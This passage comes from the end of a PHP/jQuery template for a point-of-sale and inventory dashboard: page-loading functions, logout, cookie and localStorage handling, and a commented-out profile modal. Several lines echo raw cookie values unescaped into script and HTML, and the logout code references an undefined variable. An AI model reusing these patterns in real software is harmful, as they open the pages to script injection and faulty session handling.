            $("#content_space").load("/reports/pos_reports/customdiscount/customdiscount.main.php");
        }
          function load_opendrawer() {
            $("#content_space").load("/reports/pos_reports/open.drawer/open.drawer.main.php");
        }
        
        
        function load_daily_sales_reports() {
            $("#content_space").load("/reports/daily.sales.report/daily.sales.report.main.php");
        }

        // POS
        function load_paymentoption() {
            $("#content_space").load("/modules/point_of_sale/all_settings/payment.option/payment.option.php");
        }

        function load_discountoption() {
            $("#content_space").load("/modules/point_of_sale/all_settings/discount/discount.php");
        }

        function load_securitysettings() {
            $("#content_space").load("/modules/point_of_sale/all_settings/security/security.main.php");
        }

        function load_misc() {
            $("#content_space").load("/modules/point_of_sale/all_settings/misc/misc.main.php");
        }

           function load_purchase_order_modules(operation, docnumber) {
            $.post("modules/purchase.order/purchase.order.main.php", {
                operation: operation,
                docnumber: docnumber
            }, function(data) {
                $("#content_space").html(data);
            })
        }

        function load_stockin_module(operation, docnumber) {
            // $("#content_space").load("modules/stockin/stockin_main.php");
            $.post("modules/stockin/stockin_main.php", {
                operation: operation,
                docnumber: docnumber
            }, function(data) {
                $("#content_space").html(data);
            })
        }

        function load_inventorycount() {
            $("#content_space").load("/modules/inventory.count/inventory.count.main.php");
        }
      function load_material_transfer(){
            $.post("modules/material_transfer/material_transfer_main.php", {
            }, function(data) {
                $("#content_space").html(data);
            })
        }

        

        function logout_pos() {
            logoutAudit('<?= $_COOKIE['userid']?>');
            document.cookie = name + "=;expires=Thu, 01 Jan 1970 00:00:00 GMT";
            window.location.replace(localStorage.login_source ?? '/login.php');
            // localStorage.clear();
            // window.location = "login.php";
        }
        localStorage.locationcode = `<?php echo $userDetails['LocationCode'] ?>`;
        localStorage.employeeid = `<?php echo $userDetails['EmployeeID'] ?>`;
        localStorage.employeetype = `<?php echo $_COOKIE['employeetype'] ?>`;
        $(document).ready(function() {
            // loadIndex();
        })

        $("div#navbarVerticalCollapse a").on("click", function() {
            let a = $(this);
            $("div#navbarVerticalCollapse a").removeClass(`active`);
            a.addClass(`active`);
        })


        // global select event
        document.cookie = `global_select_location=${$("#global_select_location").val()}`;

        $("#global_select_location").on("change", function(){
            document.cookie = 'global_select_location='+this.value; 
            // document.cookie = `global_select_location=`this.value;
            $("div#navbarVerticalCollapse a.active").click();
        
        });

        // document.addEventListener("visibilitychange", () => {
        //     if (!document.hidden) {
        //         // if bumalik
        //         if (`<?php echo $_COOKIE['global_select_location'];?>` != $("#global_select_location").val()) {
        //             $("#global_select_location").trigger("change");
        //         }
        //     }
        // });

    window.onload = function() {
            document.getElementById("clps").click();
        };
    </script>

    <!-- new -->
    <?php include "alert.php"; ?>
    <?php include "modalsNew.php"; ?>
    <!-- old -->
    <?php
    // include "modals.php"
    ?>
    <?php
    include "toasts.php"
    ?>
    <script>
        $(document).ready(function() {
            $(".sound").mouseenter(function() {
                $("#violinmusic")[0].play();
            });
            $(".sound").mouseleave(function() {
                $("#violinmusic")[0].pause();
                $("#violinmusic")[0].currentTime = 0;
            });
            const $target = $("#navbarVerticalNav > li:nth-of-type(3) a.nav-link").first();
            if ($target.length) {
                $target[0].click(); // native click works best with Bootstrap collapse
            }
        });
    </script>
</body>

</html>

<!-- Modal -->
<!-- <div class="modal fade" id="exampleModal" tabindex="-1" aria-labelledby="exampleModalLabel" aria-hidden="true">
    <div class="modal-dialog modal-sm">
        <div class="modal-content">
            <div class="modal-body">
                <button type="button" class="btn-close float-end" data-bs-dismiss="modal" aria-label="Close"></button>
                <center>
                    <img class="rounded-circle mt-4" src="assets/img/team/1.png" height="150" alt="">
                    <h4 class="mt-3">
                        <?php
                        echo $_COOKIE['employeename'];
                        ?>
                    </h4>
                    <h5 class="my-3">Administrator</h5>
                    <p class="mb-1">2570 Ocala Street Kissimmee, FL 34746</p>
                    <p class="mb-1">09123124324</p>
                </center>
            </div>
        </div>
    </div>
</div> -->